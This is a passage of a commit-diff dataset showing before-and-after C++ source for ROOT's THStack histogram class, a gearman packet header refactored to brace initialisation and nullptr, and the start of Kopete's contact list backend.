histograms if option \"nostack\".\n\n   TString opt = option;\n   opt.ToLower();\n   Double_t them=0, themax = -1e300;\n   Int_t nhists = fHists->GetEntriesFast();\n   TH1 *h;\n   if (!opt.Contains(\"nostack\")) {\n       BuildStack();\n       h = (TH1*)fStack->At(nhists-1);\n       themax = h->GetMaximum();\n   } else {\n      for (Int_t i=0;i<nhists;i++) {\n         h = (TH1*)fHists->At(i);\n         them = h->GetMaximum();\n         if (them > themax) themax = them;\n      } \n   }\n   return themax;\n}\n\n\/\/______________________________________________________________________________\nDouble_t THStack::GetMinimum(Option_t *option) \n{\n\/\/  returns the minimum of all added histograms\n\/\/  returns the minimum of all histograms if option \"nostack\".\n\n   TString opt = option;\n   opt.ToLower();\n   Double_t them=0, themin = 1e300;\n   Int_t nhists = fHists->GetEntriesFast();\n   TH1 *h;\n   if (!opt.Contains(\"nostack\")) {\n       BuildStack();\n       h = (TH1*)fStack->At(nhists-1);\n       themin = h->GetMinimum();\n   } else {\n      for (Int_t i=0;i<nhists;i++) {\n         h = (TH1*)fHists->At(i);\n         them = h->GetMinimum();\n         if (them < themin) themin = them;\n      } \n   }\n   return themin;\n}\n      \n\/\/______________________________________________________________________________\nTAxis *THStack::GetXaxis() const\n{\n   \/\/ Get x axis of the graph.\n\n   if (!gPad) return 0;\n   return GetHistogram()->GetXaxis();\n}\n\n\/\/______________________________________________________________________________\nTAxis *THStack::GetYaxis() const\n{\n   \/\/ Get y axis of the graph.\n\n   if (!gPad) return 0;\n   return GetHistogram()->GetYaxis();\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::ls(Option_t *option) const\n{\n   \/\/ List histograms in the stack\n\n   TROOT::IndentLevel();\n   cout <<IsA()->GetName()\n        <<\" Name= \"<<GetName()<<\" Title= \"<<GetTitle()<<\" Option=\"<<option<<endl;\n   TROOT::IncreaseDirLevel();\n   if (fHists) fHists->ls(option);\n   TROOT::DecreaseDirLevel();\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Modified()\n{\n\/\/ invalidate sum of histograms\n   \n   if (!fStack) return;\n   fStack->Delete();\n   delete fStack;\n   fStack = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Paint(Option_t *option)\n{\n\/\/ paint the list of histograms\n\/\/ By default, histograms are shown stacked.\n\/\/    -the first histogram is paint\n\/\/    -then the sum of the first and second, etc\n\/\/ If option \"nostack\" is specified, histograms are all paint in the same pad \n\/\/ as if the option \"same\" had been specified.\n\/\/\n\/\/ See THistPainter::Paint for a list of valid options.\n\n   TString opt = option;\n   opt.ToLower();\n   char loption[32];\n   sprintf(loption,\"%s\",opt.Data());\n   char *nostack = strstr(loption,\"nostack\");\n   \/\/ do not delete the stack. Another pad may contain the same object\n   \/\/ drawn in stack mode!\n   \/\/if (nostack && fStack) {fStack->Delete(); delete fStack; fStack = 0;}\n   \n   Double_t themax = GetMaximum(option);\n   Double_t themin = GetMinimum(option);\n   if (!fHistogram) {\n      Bool_t add = TH1::AddDirectoryStatus();\n      TH1::AddDirectory(kFALSE);\n      TH1 *h = (TH1*)fHists->At(0);\n      TAxis *xaxis = h->GetXaxis();\n      TAxis *yaxis = h->GetYaxis();\n      if (h->GetDimension() > 1) {\n         if (strlen(option) == 0) strcpy(loption,\"lego1\");\n         fHistogram = new TH2F(GetName(),GetTitle(),\n                               xaxis->GetNbins(),xaxis->GetXmin(),xaxis->GetXmax(),\n                               yaxis->GetNbins(),yaxis->GetXmin(),yaxis->GetXmax());\n      } else {\n         fHistogram = new TH1F(GetName(),GetTitle(),xaxis->GetNbins(),xaxis->GetXmin(),xaxis->GetXmax());\n      }\n      fHistogram->SetStats(0);\n      TH1::AddDirectory(add);\n   }\n\n   if (nostack) {*nostack = 0; strcat(nostack,nostack+7);}\n   else fHistogram->GetPainter()->SetStack(fHists);\n   \n   fHistogram->SetMaximum(1.05*themax);\n   fHistogram->SetMinimum(themin);\n   fHistogram->Paint(loption);\n\n   if (fHistogram->GetDimension() > 1) SetDrawOption(loption);\n   if (strstr(loption,\"lego\")) return;\n      \n   Int_t nhists = fHists->GetEntriesFast();\n   strcat(loption,\"same\");\n   for (Int_t i=0;i<nhists;i++) {\n      if (nostack) fHists->At(i)->Paint(loption);\n      else         fStack->At(nhists-i-1)->Paint(loption);\n   }   \n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Print(Option_t *option) const\n{\n\/\/ Print the list of histograms\n\n   TH1 *h;\n   if (fHists) {\n     TIter   next(fHists);\n     while ((h = (TH1*) next())) {\n       h->Print(option);\n     }\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::SavePrimitive(ofstream &out, Option_t *option)\n{\n    \/\/ Save primitive as a C++ statement(s) on output stream out\n\n   char quote = '\"';\n   out<<\"   \"<<endl;\n   if (gROOT->ClassSaved(THStack::Class())) {\n       out<<\"   \";\n   } else {\n       out<<\"   THStack *\";\n   }\n   out<<\"hstack = new THStack();\"<<endl;\n   out<<\"   hstack->SetName(\"<<quote<<GetName()<<quote<<\");\"<<endl;\n   out<<\"   hstack->SetTitle(\"<<quote<<GetTitle()<<quote<<\");\"<<endl;\n\n   TH1 *h;\n   if (fHists) {\n     TIter   next(fHists);\n     while ((h = (TH1*) next())) {\n       h->SavePrimitive(out,\"nodraw\");\n       out<<\"   hstack->Add(\"<<h->GetName()<<\");\"<<endl;\n     }\n   }\n   out<<\"   hstack->Draw(\"\n      <<quote<<option<<quote<<\");\"<<endl;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::SetMaximum(Double_t maximum)\n{\n   fMaximum = maximum;\n   if (fHistogram)  fHistogram->SetMaximum(maximum);\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::SetMinimum(Double_t minimum)\n{\n   fMinimum = minimum;\n   if (fHistogram) fHistogram->SetMinimum(minimum);\n}\n<commit_msg>added <iostream.h> to fix compilation with g++ v3.<commit_after>\/\/ Author: Rene Brun   12\/10\/2000\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include \"TROOT.h\"\n#include \"THStack.h\"\n#include \"TVirtualPad.h\"\n#include \"TH2.h\"\n\n#include <fstream.h>\n#include <iostream.h>\n\nClassImp(THStack)\n\n\/\/______________________________________________________________________________\n\/\/\n\/\/   A THStack is a collection of TH1 (or derived) objects\n\/\/   Use THStack::Add to add a new histogram to the list.\n\/\/   The THStack owns the objects in the list.\n\/\/   By default (if option \"nostack\" is not specified), histograms will be paint\n\/\/   stacked on top of each other.\n\/\/   Example;\n\/\/      THStack hs(\"hs\",\"test stacked histograms\");\n\/\/      TH1F *h1 = new TH1F(\"h1\",\"test hstack\",100,-4,4);\n\/\/      h1->FillRandom(\"gaus\",20000);\n\/\/      h1->SetFillColor(kRed);\n\/\/      hs.Add(h1);\n\/\/      TH1F *h2 = new TH1F(\"h2\",\"test hstack\",100,-4,4);\n\/\/      h2->FillRandom(\"gaus\",15000);\n\/\/      h2->SetFillColor(kBlue);\n\/\/      hs.Add(h2);\n\/\/      TH1F *h3 = new TH1F(\"h3\",\"test hstack\",100,-4,4);\n\/\/      h3->FillRandom(\"gaus\",10000);\n\/\/      h3->SetFillColor(kGreen);\n\/\/      hs.Add(h3);\n\/\/      TCanvas c1(\"c1\",\"stacked hists\",10,10,700,900);\n\/\/      c1.Divide(1,2);\n\/\/      c1.cd(1);\n\/\/      hs.Draw();\n\/\/      c1.cd(2);\n\/\/      hs->Draw(\"nostack\");\n\/\/\n\/\/  See a more complex example in $ROOTSYS\/tutorials\/hstack.C\n\/\/\n\/\/  Note that picking is supported for all drawing modes.\n\n\/\/______________________________________________________________________________\nTHStack::THStack(): TNamed()\n{\n\/\/ THStack default constructor\n\n   fHists     = 0;\n   fStack     = 0;\n   fHistogram = 0;\n   fMaximum   = -1111;\n   fMinimum   = -1111;\n}\n\n\/\/______________________________________________________________________________\nTHStack::THStack(const char *name, const char *title)\n       : TNamed(name,title)\n{\n\/\/ constructor with name and title\n   fHists     = 0;\n   fStack     = 0;\n   fHistogram = 0;\n   fMaximum   = -1111;\n   fMinimum   = -1111;\n}\n\n\/\/______________________________________________________________________________\nTHStack::~THStack()\n{\n\/\/ THStack destructor\n\n\n   if (!fHists) return;\n   fHists->Delete();\n   delete fHists;\n   fHists = 0;\n   if (fStack) {fStack->Delete(); delete fStack;}\n   delete fHistogram;\n   fHistogram = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Add(TH1 *h1)\n{\n   \/\/ add a new histogram to the list\n   \/\/ Only 1-d histograms currently supported.\n   \/\/ Note that all histograms in the list must have the same number\n   \/\/ of channels and the same X axis.\n\n   if (!h1) return;\n   if (h1->GetDimension() > 2) {\n      Error(\"Add\",\"THStack supports only 1-d and 2-d histograms\");\n      return;\n   }\n   if (!fHists) fHists = new TObjArray();\n   fHists->Add(h1);\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Browse(TBrowser *)\n{\n    Draw();\n    gPad->Update();\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::BuildStack()\n{\n\/\/  build sum of all histograms\n\/\/  Build a separate list fStack containing the running sum of all histograms\n\n   if (fStack) return;\n   Int_t nhists = fHists->GetEntriesFast();\n   fStack = new TObjArray(nhists);\n   Bool_t add = TH1::AddDirectoryStatus();\n   TH1::AddDirectory(kFALSE);\n   TH1 *h = (TH1*)fHists->At(0)->Clone();\n   fStack->Add(h);\n   for (Int_t i=1;i<nhists;i++) {\n      h = (TH1*)fHists->At(i)->Clone();\n      h->Add((TH1*)fStack->At(i-1));\n      fStack->AddAt(h,i);\n   }\n   TH1::AddDirectory(add);\n}\n\n\/\/______________________________________________________________________________\nInt_t THStack::DistancetoPrimitive(Int_t px, Int_t py)\n{\n\/\/ Compute distance from point px,py to each graph\n\/\/\n\n\/\/*-*- Are we on the axis?\n   const Int_t kMaxDiff = 10;\n   Int_t distance = 9999;\n   if (fHistogram) {\n      distance = fHistogram->DistancetoPrimitive(px,py);\n      if (distance <= 0) {return distance;}\n      if (distance <= 1) {gPad->SetSelected(fHistogram);return distance;}\n   }\n\n\n\/\/*-*- Loop on the list of histograms\n   if (!fHists) return distance;\n   TH1 *h = 0;\n   const char *doption = GetDrawOption();\n   Int_t nhists = fHists->GetEntriesFast();\n   for (Int_t i=0;i<nhists;i++) {\n      h = (TH1*)fHists->At(i);\n      if (fStack && !strstr(doption,\"nostack\")) h = (TH1*)fStack->At(i);\n      Int_t dist = h->DistancetoPrimitive(px,py);\n      if (dist < kMaxDiff) {\n         gPad->SetSelected(fHists->At(i));\n         gPad->SetCursor(kPointer);\n         return dist;\n      }\n   }\n   return distance;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Draw(Option_t *option)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Draw this multihist with its current attributes*-*-*-*-*-*-*\n\/\/*-*                  ==========================================\n\/\/\n\/\/   Options to draw histograms  are described in THistPainter::Paint\n\/\/ By default (if option \"nostack\" is not specified), histograms will be paint\n\/\/ stacked on top of each other.\n\n   TString opt = option;\n   opt.ToLower();\n   if (gPad) {\n      if (!gPad->IsEditable()) (gROOT->GetMakeDefCanvas())();\n      if (!opt.Contains(\"same\")) {\n         \/\/the following statement is necessary in case one attempts to draw\n         \/\/a temporary histogram already in the current pad\n         if (TestBit(kCanDelete)) gPad->GetListOfPrimitives()->Remove(this);\n         gPad->Clear();\n      }\n   }\n   AppendPad(opt.Data());\n}\n\n\/\/______________________________________________________________________________\nTH1 *THStack::GetHistogram() const\n{\n\/\/    Returns a pointer to the histogram used to draw the axis\n\/\/    Takes into account the two following cases.\n\/\/       1- option 'A' was specified in THStack::Draw. Return fHistogram\n\/\/       2- user had called TPad::DrawFrame. return pointer to hframe histogram\n\n   if (fHistogram) return fHistogram;\n   if (!gPad) return 0;\n   gPad->Modified();\n   gPad->Update();\n   if (fHistogram) return fHistogram;\n   TH1 *h1 = (TH1*)gPad->FindObject(\"hframe\");\n   return h1;\n}\n\n\/\/______________________________________________________________________________\nDouble_t THStack::GetMaximum(Option_t *option)\n{\n\/\/  returns the maximum of all added histograms\n\/\/  returns the maximum of all histograms if option \"nostack\".\n\n   TString opt = option;\n   opt.ToLower();\n   Double_t them=0, themax = -1e300;\n   Int_t nhists = fHists->GetEntriesFast();\n   TH1 *h;\n   if (!opt.Contains(\"nostack\")) {\n       BuildStack();\n       h = (TH1*)fStack->At(nhists-1);\n       themax = h->GetMaximum();\n   } else {\n      for (Int_t i=0;i<nhists;i++) {\n         h = (TH1*)fHists->At(i);\n         them = h->GetMaximum();\n         if (them > themax) themax = them;\n      }\n   }\n   return themax;\n}\n\n\/\/______________________________________________________________________________\nDouble_t THStack::GetMinimum(Option_t *option)\n{\n\/\/  returns the minimum of all added histograms\n\/\/  returns the minimum of all histograms if option \"nostack\".\n\n   TString opt = option;\n   opt.ToLower();\n   Double_t them=0, themin = 1e300;\n   Int_t nhists = fHists->GetEntriesFast();\n   TH1 *h;\n   if (!opt.Contains(\"nostack\")) {\n       BuildStack();\n       h = (TH1*)fStack->At(nhists-1);\n       themin = h->GetMinimum();\n   } else {\n      for (Int_t i=0;i<nhists;i++) {\n         h = (TH1*)fHists->At(i);\n         them = h->GetMinimum();\n         if (them < themin) themin = them;\n      }\n   }\n   return themin;\n}\n\n\/\/______________________________________________________________________________\nTAxis *THStack::GetXaxis() const\n{\n   \/\/ Get x axis of the graph.\n\n   if (!gPad) return 0;\n   return GetHistogram()->GetXaxis();\n}\n\n\/\/______________________________________________________________________________\nTAxis *THStack::GetYaxis() const\n{\n   \/\/ Get y axis of the graph.\n\n   if (!gPad) return 0;\n   return GetHistogram()->GetYaxis();\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::ls(Option_t *option) const\n{\n   \/\/ List histograms in the stack\n\n   TROOT::IndentLevel();\n   cout <<IsA()->GetName()\n        <<\" Name= \"<<GetName()<<\" Title= \"<<GetTitle()<<\" Option=\"<<option<<endl;\n   TROOT::IncreaseDirLevel();\n   if (fHists) fHists->ls(option);\n   TROOT::DecreaseDirLevel();\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Modified()\n{\n\/\/ invalidate sum of histograms\n\n   if (!fStack) return;\n   fStack->Delete();\n   delete fStack;\n   fStack = 0;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Paint(Option_t *option)\n{\n\/\/ paint the list of histograms\n\/\/ By default, histograms are shown stacked.\n\/\/    -the first histogram is paint\n\/\/    -then the sum of the first and second, etc\n\/\/ If option \"nostack\" is specified, histograms are all paint in the same pad\n\/\/ as if the option \"same\" had been specified.\n\/\/\n\/\/ See THistPainter::Paint for a list of valid options.\n\n   TString opt = option;\n   opt.ToLower();\n   char loption[32];\n   sprintf(loption,\"%s\",opt.Data());\n   char *nostack = strstr(loption,\"nostack\");\n   \/\/ do not delete the stack. Another pad may contain the same object\n   \/\/ drawn in stack mode!\n   \/\/if (nostack && fStack) {fStack->Delete(); delete fStack; fStack = 0;}\n\n   Double_t themax = GetMaximum(option);\n   Double_t themin = GetMinimum(option);\n   if (!fHistogram) {\n      Bool_t add = TH1::AddDirectoryStatus();\n      TH1::AddDirectory(kFALSE);\n      TH1 *h = (TH1*)fHists->At(0);\n      TAxis *xaxis = h->GetXaxis();\n      TAxis *yaxis = h->GetYaxis();\n      if (h->GetDimension() > 1) {\n         if (strlen(option) == 0) strcpy(loption,\"lego1\");\n         fHistogram = new TH2F(GetName(),GetTitle(),\n                               xaxis->GetNbins(),xaxis->GetXmin(),xaxis->GetXmax(),\n                               yaxis->GetNbins(),yaxis->GetXmin(),yaxis->GetXmax());\n      } else {\n         fHistogram = new TH1F(GetName(),GetTitle(),xaxis->GetNbins(),xaxis->GetXmin(),xaxis->GetXmax());\n      }\n      fHistogram->SetStats(0);\n      TH1::AddDirectory(add);\n   }\n\n   if (nostack) {*nostack = 0; strcat(nostack,nostack+7);}\n   else fHistogram->GetPainter()->SetStack(fHists);\n\n   fHistogram->SetMaximum(1.05*themax);\n   fHistogram->SetMinimum(themin);\n   fHistogram->Paint(loption);\n\n   if (fHistogram->GetDimension() > 1) SetDrawOption(loption);\n   if (strstr(loption,\"lego\")) return;\n\n   Int_t nhists = fHists->GetEntriesFast();\n   strcat(loption,\"same\");\n   for (Int_t i=0;i<nhists;i++) {\n      if (nostack) fHists->At(i)->Paint(loption);\n      else         fStack->At(nhists-i-1)->Paint(loption);\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::Print(Option_t *option) const\n{\n\/\/ Print the list of histograms\n\n   TH1 *h;\n   if (fHists) {\n     TIter   next(fHists);\n     while ((h = (TH1*) next())) {\n       h->Print(option);\n     }\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::SavePrimitive(ofstream &out, Option_t *option)\n{\n    \/\/ Save primitive as a C++ statement(s) on output stream out\n\n   char quote = '\"';\n   out<<\"   \"<<endl;\n   if (gROOT->ClassSaved(THStack::Class())) {\n       out<<\"   \";\n   } else {\n       out<<\"   THStack *\";\n   }\n   out<<\"hstack = new THStack();\"<<endl;\n   out<<\"   hstack->SetName(\"<<quote<<GetName()<<quote<<\");\"<<endl;\n   out<<\"   hstack->SetTitle(\"<<quote<<GetTitle()<<quote<<\");\"<<endl;\n\n   TH1 *h;\n   if (fHists) {\n     TIter   next(fHists);\n     while ((h = (TH1*) next())) {\n       h->SavePrimitive(out,\"nodraw\");\n       out<<\"   hstack->Add(\"<<h->GetName()<<\");\"<<endl;\n     }\n   }\n   out<<\"   hstack->Draw(\"\n      <<quote<<option<<quote<<\");\"<<endl;\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::SetMaximum(Double_t maximum)\n{\n   fMaximum = maximum;\n   if (fHistogram)  fHistogram->SetMaximum(maximum);\n}\n\n\/\/______________________________________________________________________________\nvoid THStack::SetMinimum(Double_t minimum)\n{\n   fMinimum = minimum;\n   if (fHistogram) fHistogram->SetMinimum(minimum);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*  vim:expandtab:shiftwidth=2:tabstop=2:smarttab:\n * \n *  Gearmand client and server library.\n *\n *  Copyright (C) 2011-2013 Data Differential, http:\/\/datadifferential.com\/\n *  Copyright (C) 2008 Brian Aker, Eric Day\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions are\n *  met:\n *\n *      * Redistributions of source code must retain the above copyright\n *  notice, this list of conditions and the following disclaimer.\n *\n *      * Redistributions in binary form must reproduce the above\n *  copyright notice, this list of conditions and the following disclaimer\n *  in the documentation and\/or other materials provided with the\n *  distribution.\n *\n *      * The names of its contributors may not be used to endorse or\n *  promote products derived from this software without specific prior\n *  written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n *  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n *  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n *  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n *  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n *  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n *  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n *  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#pragma once\n\n#include \"libgearman\/magic.h\"\n\nstruct gearman_universal_st;\n\n\/**\n * @ingroup gearman_packet\n *\/\nstruct gearman_packet_st\n{\n  struct Options {\n    const bool is_allocated;\n    bool complete;\n    bool free_data;\n\n    Options(bool is_allocted_) :\n      is_allocated(is_allocted_),\n      complete(false),\n      free_data(false)\n    { }\n  } options;\n  enum gearman_magic_t magic;\n  gearman_command_t command;\n  uint8_t argc;\n  size_t args_size;\n  size_t data_size;\n  gearman_universal_st *universal;\n  gearman_packet_st *next;\n  gearman_packet_st *prev;\n  char *args;\n  const void *data;\n  char *arg[GEARMAN_MAX_COMMAND_ARGS];\n  size_t arg_size[GEARMAN_MAX_COMMAND_ARGS];\n  char args_buffer[GEARMAN_ARGS_BUFFER_SIZE];\n#ifdef GEARMAN_PACKET_TRACE\n  uint32_t _id;\n#endif\n\n  gearman_packet_st(bool is_allocted_= false) :\n    options(is_allocted_),\n    magic(GEARMAN_MAGIC_TEXT),\n    command(GEARMAN_COMMAND_TEXT),\n    argc(0),\n    args_size(0),\n    data_size(0),\n    universal(0),\n    next(0),\n    prev(0),\n    args(0),\n    data(0)\n  {\n  }\n\n  ~gearman_packet_st()\n  {\n    reset();\n  }\n\n  void free__data();\n\n  bool failed() const\n  {\n    if (command == GEARMAN_COMMAND_WORK_FAIL)\n    {\n      return true;\n    }\n\n    return false;\n  }\n\n  size_t size() const\n  {\n    return data_size;\n  }\n\n  const char* value(size_t& length_) const\n  {\n    length_= data_size;\n\n    if (length_)\n    {\n      return (const char*)data;\n    }\n\n    return NULL;\n  }\n\n  const char* value() const\n  {\n    if (data_size)\n    {\n      return (const char*)data;\n    }\n\n    return NULL;\n  }\n\n  void reset();\n};\n<commit_msg>gearman_packet_st refactoring<commit_after>\/*  vim:expandtab:shiftwidth=2:tabstop=2:smarttab:\n * \n *  Gearmand client and server library.\n *\n *  Copyright (C) 2011-2013 Data Differential, http:\/\/datadifferential.com\/\n *  Copyright (C) 2008 Brian Aker, Eric Day\n *  All rights reserved.\n *\n *  Redistribution and use in source and binary forms, with or without\n *  modification, are permitted provided that the following conditions are\n *  met:\n *\n *      * Redistributions of source code must retain the above copyright\n *  notice, this list of conditions and the following disclaimer.\n *\n *      * Redistributions in binary form must reproduce the above\n *  copyright notice, this list of conditions and the following disclaimer\n *  in the documentation and\/or other materials provided with the\n *  distribution.\n *\n *      * The names of its contributors may not be used to endorse or\n *  promote products derived from this software without specific prior\n *  written permission.\n *\n *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n *  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n *  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n *  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n *  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n *  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n *  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n *  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#pragma once\n\n#include \"libgearman\/magic.h\"\n\nstruct gearman_universal_st;\n\n\/**\n * @ingroup gearman_packet\n *\/\nstruct gearman_packet_st\n{\n  struct Options {\n    const bool is_allocated;\n    bool complete;\n    bool free_data;\n\n    Options(bool is_allocted_) :\n      is_allocated{is_allocted_},\n      complete{false},\n      free_data{false}\n    { }\n  } options;\n  enum gearman_magic_t magic;\n  gearman_command_t command;\n  uint8_t argc;\n  size_t args_size;\n  size_t data_size;\n  gearman_universal_st *universal;\n  gearman_packet_st *next;\n  gearman_packet_st *prev;\n  char *args;\n  const void *data;\n  char *arg[GEARMAN_MAX_COMMAND_ARGS];\n  size_t arg_size[GEARMAN_MAX_COMMAND_ARGS];\n  char args_buffer[GEARMAN_ARGS_BUFFER_SIZE];\n#ifdef GEARMAN_PACKET_TRACE\n  uint32_t _id;\n#endif\n\n  gearman_packet_st(bool is_allocted_= false) :\n    options{is_allocted_},\n    magic{GEARMAN_MAGIC_TEXT},\n    command{GEARMAN_COMMAND_TEXT},\n    argc{0},\n    args_size{0},\n    data_size{0},\n    universal{0},\n    next{nullptr},\n    prev{nullptr},\n    args{nullptr},\n    data{nullptr}\n  {\n  }\n\n  ~gearman_packet_st()\n  {\n    reset();\n  }\n\n  void free__data();\n\n  bool failed() const\n  {\n    if (command == GEARMAN_COMMAND_WORK_FAIL)\n    {\n      return true;\n    }\n\n    return false;\n  }\n\n  size_t size() const\n  {\n    return data_size;\n  }\n\n  const char* value(size_t& length_) const\n  {\n    length_= data_size;\n\n    if (length_)\n    {\n      return (const char*)data;\n    }\n\n    return nullptr;\n  }\n\n  const char* value() const\n  {\n    if (data_size)\n    {\n      return (const char*)data;\n    }\n\n    return nullptr;\n  }\n\n  void reset();\n};\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    kopetecontactlist.cpp - Kopete's Contact List backend\n\n    Copyright (c) 2002 by Martijn Klingens       <klingens@kde.org>\n    Copyright (c) 2002 by Duncan Mac-Vicar Prett <duncan@kde.org>\n\n    Copyright (c) 2002 by the Kopete developers  <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#include \"kopetecontactlist.h\"\n\n#include \"kopete.h\"\n#include \"kopetecontactlistview.h\"\n#include \"kopetemetacontact.h\"\n#include \"kopetemetacontactlvi.h\"\n#include \"kopeteprotocol.h\"\n#include \"pluginloader.h\"\n\n#include <qptrlist.h>\n#include <qstringlist.h>\n#include <qstylesheet.h>\n\n#include <klocale.h>\n#include <kapplication.h>\n#include <kdebug.h>\n#include <kglobal.h>\n#include <kstandarddirs.h>\n\nKopeteContactList *KopeteContactList::s_contactList = 0L;\n\nKopeteContactList *KopeteContactList::contactList()\n{\n\tif( !s_contactList )\n\t\ts_contactList = new KopeteContactList;\n\n\treturn s_contactList;\n}\n\nKopeteContactList::KopeteContactList()\n: QObject( kapp, \"KopeteContactList\" )\n{\n}\n\nKopeteContactList::~KopeteContactList()\n{\n}\n\nKopeteMetaContact *KopeteContactList::findContact( const QString &protocolId,\n\tconst QString &identityId, const QString &contactId )\n{\n\t\/\/kdDebug() << \"*** Looking for contact \" << contactId << \", proto \"\n\t\/\/\t<< protocolId << endl;\n\tQPtrListIterator<KopeteMetaContact> it( m_contacts );\n\tfor( ; it.current(); ++it )\n\t{\n\t\t\/\/kdDebug() << \"*** Iterating \" << it.current()->displayName() << endl;\n\t\tKopeteContact *c = it.current()->findContact( protocolId, identityId,\n\t\t\tcontactId );\n\t\tif( c )\n\t\t\treturn it.current();\n\t}\n\t\/\/kdDebug() << \"*** Not found!\" << endl;\n\n\t\/\/ Contact not found, create a new meta contact\n\tKopeteMetaContact *mc = new KopeteMetaContact();\n\t\/\/m_contacts.append( c );\n\tKopeteContactList::contactList()->addMetaContact(mc);\n\n\treturn mc;\n}\n\n\nvoid KopeteContactList::addMetaContact( KopeteMetaContact *mc )\n{\n\tQStringList groups;\n\n\tgroups = mc->groups();\n\n\tm_contacts.append( mc );\n\n\tconnect( mc, SIGNAL( addedToGroup( KopeteMetaContact *, const QString & ) ),\n\t\tthis, SLOT(slotAddedToGroup( KopeteMetaContact *, const QString & ) ) );\n    connect( mc, SIGNAL( removedFromGroup( KopeteMetaContact *, const QString & ) ),\n\t\tthis, SLOT(slotRemovedFromGroup( KopeteMetaContact *, const QString & ) ) );\n\n\t\n\tif ( groups.isEmpty() )\n\t{\n\t\tkdDebug() << \"KopeteContactList::addMetaContact : adding metacontact with no groups\" <<endl;\n\t\tkopeteapp->contactList()->addContact(new KopeteMetaContactLVI( mc, kopeteapp->contactList() ) );\n\t}\n\telse\n\t{\n\t\tQStringList::ConstIterator it = groups.begin();\n\t\tfor( ; it != groups.end(); ++it )\n\t\t{\n\t\t\tQString group = *it;\n\t\t\tkdDebug() << \"KopeteContactList::addMetaContact: \"\n\t\t\t\t<< \"adding metacontact to group \" << group <<endl;\n\t\t\tkopeteapp->contactList()->addContact( new KopeteMetaContactLVI(\n\t\t\t\tmc, kopeteapp->contactList()->getGroup( group ) ) );\n\t\t}\n\t}\n}\n\nvoid KopeteContactList::slotAddedToGroup( KopeteMetaContact *mc, const QString &to )\n{\n\tkopeteapp->contactList()->addContact( new KopeteMetaContactLVI(\n\t\t\t\tmc, kopeteapp->contactList()->getGroup( to ) ) );\n}\n\nvoid KopeteContactList::slotRemovedFromGroup(KopeteMetaContact *mc, const QString &from )\n{\n\tkopeteapp->contactList()->removeContact( mc, from );\n}\n\n\nvoid KopeteContactList::loadXML()\n{\n\tQDomDocument contactList( \"messaging-contact-list\" );\n\n\tQString filename = locateLocal( \"appdata\", \"contactlist.xml\" );\n\n\tif( filename.isEmpty() )\n\t\treturn ;\n\n\tQFile contactListFile( filename );\n\tcontactListFile.open( IO_ReadOnly );\n\tcontactList.setContent( &contactListFile );\n\n\tQDomElement list = contactList.documentElement();\n\tQDomNode node = 